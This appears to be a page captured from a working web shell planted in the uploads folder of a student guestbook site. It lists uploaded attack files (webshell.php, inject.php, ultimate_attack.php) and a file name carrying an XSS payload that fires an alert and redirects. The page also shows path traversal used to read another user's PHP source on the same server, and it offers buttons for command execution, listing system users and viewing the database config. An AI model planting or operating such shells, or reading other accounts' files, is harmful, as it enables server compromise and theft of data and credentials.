🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../587164.klas4s23.mid-ica.nl/public_html/ELearner/toggle_list_like.php

<?php
session_start();
include "db.php";

// Return error if not logged in
if (!isset($_SESSION['user_id'])) {
    echo json_encode([
        'status' => 'error',
        'message' => 'You must be logged in to like or dislike lists'
    ]);
    exit();
}

// Get data from POST request
$user_id = $_SESSION['user_id'];
$list_id = isset($_POST['list_id']) ? (int)$_POST['list_id'] : 0;
$is_like = isset($_POST['is_like']) ? (int)$_POST['is_like'] : 1; // 1 for like, 0 for dislike

// Validate list_id
if ($list_id <= 0) {
    echo json_encode([
        'status' => 'error',
        'message' => 'Invalid list ID'
    ]);
    exit();
}

try {
    // Start transaction
    $conn->beginTransaction();
    
    // Check if the list exists and is public
    $stmt = $conn->prepare("SELECT id FROM word_lists WHERE id = ? AND public = 1");
    $stmt->execute([$list_id]);
    if ($stmt->rowCount() === 0) {
        throw new Exception("List not found or is not public");
    }
    
    // Check if user already liked/disliked this list
    $stmt = $conn->prepare("SELECT id, is_like FROM list_likes WHERE list_id = ? AND user_id = ?");
    $stmt->execute([$list_id, $user_id]);
    $existing = $stmt->fetch();
    
    if ($existing) {
        // User already has a like/dislike for this list
        if ($existing['is_like'] == $is_like) {
            // If same action, remove the like/dislike (toggle off)
            $stmt = $conn->prepare("DELETE FROM list_likes WHERE id = ?");
            $stmt->execute([$existing['id']]);
            
            // Update counts in word_lists table
            if ($is_like == 1) {
                $conn->exec("UPDATE word_lists SET like_count = like_count - 1 WHERE id = $list_id");
            } else {
                $conn->exec("UPDATE word_lists SET dislike_count = dislike_count - 1 WHERE id = $list_id");
            }
            
            $action = "removed";
        } else {
            // If different action, update the record
            $stmt = $conn->prepare("UPDATE list_likes SET is_like = ? WHERE id = ?");
            $stmt->execute([$is_like, $existing['id']]);
            
            // Update counts in word_lists table - both increment one and decrement the other
            if ($is_like == 1) {
                $conn->exec("UPDATE word_lists SET like_count = like_count + 1, dislike_count = dislike_count - 1 WHERE id = $list_id");
            } else {
                $conn->exec("UPDATE word_lists SET like_count = like_count - 1, dislike_count = dislike_count + 1 WHERE id = $list_id");
            }
            
            $action = "changed";
        }
    } else {
        // No existing like/dislike, insert new one
        $stmt = $conn->prepare("INSERT INTO list_likes (list_id, user_id, is_like) VALUES (?, ?, ?)");
        $stmt->execute([$list_id, $user_id, $is_like]);
        
        // Update count in word_lists table
        if ($is_like == 1) {
            $conn->exec("UPDATE word_lists SET like_count = like_count + 1 WHERE id = $list_id");
        } else {
            $conn->exec("UPDATE word_lists SET dislike_count = dislike_count + 1 WHERE id = $list_id");
        }
        
        $action = "added";
    }
    
    // Get updated counts
    $stmt = $conn->prepare("SELECT like_count, dislike_count FROM word_lists WHERE id = ?");
    $stmt->execute([$list_id]);
    $counts = $stmt->fetch();
    
    // Commit transaction
    $conn->commit();
    
    // Return success response with updated counts
    echo json_encode([
        'status' => 'success',
        'action' => $action,
        'like_count' => $counts['like_count'],
        'dislike_count' => $counts['dislike_count'],
        'is_like' => $is_like
    ]);
    
} catch (Exception $e) {
    // Rollback transaction on error
    $conn->rollBack();
    
    echo json_encode([
        'status' => 'error',
        'message' => $e->getMessage()
    ]);
}
?>

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!